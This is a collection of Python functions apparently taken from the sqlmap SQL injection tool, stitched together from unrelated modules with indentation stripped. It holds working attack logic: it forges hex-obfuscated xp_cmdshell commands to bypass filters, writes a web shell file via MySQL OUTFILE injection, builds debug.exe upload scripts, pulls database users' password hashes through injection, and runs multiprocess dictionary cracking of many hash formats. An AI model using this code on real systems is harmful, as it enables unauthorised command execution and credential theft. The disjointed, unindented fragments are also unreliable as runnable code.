def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath,
randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
self._randStr = randomStr(lowercase=True)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
try:
self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" %
encodeHex(cmd, binary=False))
except UnicodeError:
self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred:
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
return agent.runAsDBMSUser(self._forgedCmd)
def _dataToScr(self, fileContent, chunkName):
fileLines = []
fileSize = len(fileContent)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in xrange(0, len(fileContent), lineLen):
scrString = ""
for lineChar in fileContent[fileLine:fileLine + lineLen]:
strLineChar = encodeHex(lineChar, binary=False)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(strLineChar) // 2
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def fileContentEncode(self, content, encoding, single, chunkSize=256):
retVal = []
if encoding == "hex":
content = encodeHex(content)
elif encoding == "base64":
content = encodeBase64(content)
else:
content = codecs.encode(content, encoding)
content = getText(content).replace("\n", "")
if not single:
if len(content) > chunkSize:
for i in xrange(0, len(content), chunkSize):
_ = content[i:i + chunkSize]
if encoding == "hex":
_ = "0x%s" % _
elif encoding == "base64":
_ = "'%s'" % _
retVal.append(_)
if not retVal:
if encoding == "hex":
content = "0x%s" % content
elif encoding == "base64":
content = "'%s'" % content
retVal = [content]
return retVal
def server(host=RESTAPI_DEFAULT_ADDRESS,
port=RESTAPI_DEFAULT_PORT,
adapter=RESTAPI_DEFAULT_ADAPTER,
username=None,
password=None):
"""
REST-JSON API server
"""
DataStore.admin_token = encodeHex(os.urandom(16), binary=False)
DataStore.username = username
DataStore.password = password
_, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC,
text=False)
os.close(_)
if port == 0: # random
with contextlib.closing(
socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind((host, 0))
port = s.getsockname()[1]
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
logger.info("Admin (secret) token: %s" % DataStore.admin_token)
logger.debug("IPC database: '%s'" % Database.filepath)
# Initialize IPC database
DataStore.current_db = Database()
DataStore.current_db.connect()
DataStore.current_db.init()
# Run RESTful API
try:
# Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref
# Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names
if adapter == "gevent":
from gevent import monkey
monkey.patch_all()
elif adapter == "eventlet":
import eventlet
eventlet.monkey_patch()
logger.debug("Using adapter '%s' to run bottle" % adapter)
run(host=host, port=port, quiet=True, debug=True, server=adapter)
except socket.error as ex:
if "already in use" in getSafeExString(ex):
logger.error("Address already in use ('%s:%s')" % (host, port))
else:
raise
except ImportError:
if adapter.lower() not in server_names:
errMsg = "Adapter '%s' is unknown. " % adapter
errMsg += "List of supported adapters: %s" % ', '.join(
sorted(list(server_names.keys())))
else:
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (
adapter, '3' if six.PY3 else "", adapter)
logger.critical(errMsg)
def oracle_old_passwd(password,
username,
uppercase=True): # prior to version '11g'
"""
Reference(s):
http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/
>>> oracle_old_passwd(password='******', username='******', uppercase=True)
'F894844C34402B67'
"""
IV, pad = "\0" * 8, "\0"
unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)
) if ord(_) < 256 else _.encode(UNICODE_ENCODING)
for _ in (username + password).upper())
cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad)
encrypted = cipher.encrypt(unistr)
cipher = des(encrypted[-8:], CBC, IV, pad)
encrypted = cipher.encrypt(unistr)
retVal = encodeHex(encrypted[-8:], binary=False)
return retVal.upper() if uppercase else retVal.lower()
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace(
SHELL_WRITABLE_DIR_TAG,
directory.replace('/', '\\\\')
if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL,
"write_file_limit",
OUTFILE=outFile,
HEXSTRING=encodeHex(uplQuery, binary=False))
query = agent.prefixQuery(
query
) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
return page
def task_new():
"""
Create a new task
"""
taskid = encodeHex(os.urandom(8), binary=False)
remote_addr = request.remote_addr
DataStore.tasks[taskid] = Task(taskid, remote_addr)
logger.debug("Created new task: '%s'" % taskid)
return jsonize({"success": True, "taskid": taskid})
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == CURRENT_USER:
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(',')
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = [_ for _ in users if _]
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
if retVal:
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
fallback = False
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
query = rootQuery.inband.query
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
if retVal:
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
password = "******" % encodeHex(password, binary=False).upper()
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
user = unArrayizeValue(user)
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.INFORMIX):
count = 1
else:
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
fallback = True
count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
elif Backend.isDbms(DBMS.MYSQL):
fallback = True
count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
if fallback:
query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user,)
elif Backend.isDbms(DBMS.HSQLDB):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
if Backend.isDbms(DBMS.MYSQL):
if fallback:
query = query.replace("authentication_string", "password")
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (probably because the DBMS "
errMsg += "current user has no read privileges over the relevant "
errMsg += "system database table(s))"
logger.error(errMsg)
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
storeHashesToFile(kb.data.cachedUsersPasswords)
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
pass
elif choice == 'Q':
raise SqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
elif hash_regex in (HASH.SSHA256,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}]
elif hash_regex in (HASH.SSHA512,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE,):
item = [(user, hash_), {"salt": hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW):
item = [(user, hash_), {"salt": hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC,):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.WORDPRESS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
pass
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD,):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default='1')
try:
if choice == '2':
message = "what's the custom dictionary's location?\n"
dictPath = readInput(message)
if dictPath:
dictPaths = [dictPath]
logger.info("using custom dictionary")
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
dictPaths = [_ for _ in dictPaths if _]
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception as ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % getSafeExString(ex)
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
# Algorithms without extra arguments (e.g. salt and/or username)
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = _queue.Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_]
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = _queue.Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal and conf.hashDB:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
results.extend(resumes)
if foundHash and len(hash_regexes) == 0:
warnMsg = "unknown hash format"
logger.warn(warnMsg)
if len(results) == 0:
warnMsg = "no clear password(s) found"
logger.warn(warnMsg)
return results
def attackDumpedTable():
if kb.data.dumpedTable:
table = kb.data.dumpedTable
columns = list(table.keys())
count = table["__infos__"]["count"]
if not count:
return
debugMsg = "analyzing table dump for possible password hashes"
logger.debug(debugMsg)
found = False
col_user = ''
col_passwords = set()
attack_dict = {}
binary_fields = OrderedSet()
replacements = {}
for column in sorted(columns, key=len, reverse=True):
if column and column.lower() in COMMON_USER_COLUMNS:
col_user = column
break
for column in columns:
if column != "__infos__" and table[column]["values"]:
if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]):
binary_fields.add(column)
if binary_fields:
_ = ','.join(binary_fields)
warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _
warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _
logger.warn(warnMsg)
for i in xrange(count):
if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD:
break
for column in columns:
if column == col_user or column == "__infos__":
continue
if len(table[column]["values"]) <= i:
continue
if conf.binaryFields and column in conf.binaryFields:
continue
value = table[column]["values"][i]
if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None:
previous = value
value = encodeHex(getBytes(value), binary=False)
replacements[value] = previous
if hashRecognition(value):
found = True
if col_user and i < len(table[col_user]["values"]):
if table[col_user]["values"][i] not in attack_dict:
attack_dict[table[col_user]["values"][i]] = []
attack_dict[table[col_user]["values"][i]].append(value)
else:
attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value]
col_passwords.add(column)
if attack_dict:
infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "")
infoMsg += "'%s'" % ", ".join(col for col in col_passwords)
logger.info(infoMsg)
storeHashesToFile(attack_dict)
message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
results = dictionaryAttack(attack_dict)
lut = dict()
for (_, hash_, password) in results:
if hash_:
key = hash_ if hash_ not in replacements else replacements[hash_]
lut[key.lower()] = password
lut["0x%s" % key.lower()] = password
debugMsg = "post-processing table dump"
logger.debug(debugMsg)
for i in xrange(count):
for column in columns:
if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i):
value = table[column]['values'][i]
if value and value.lower() in lut:
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
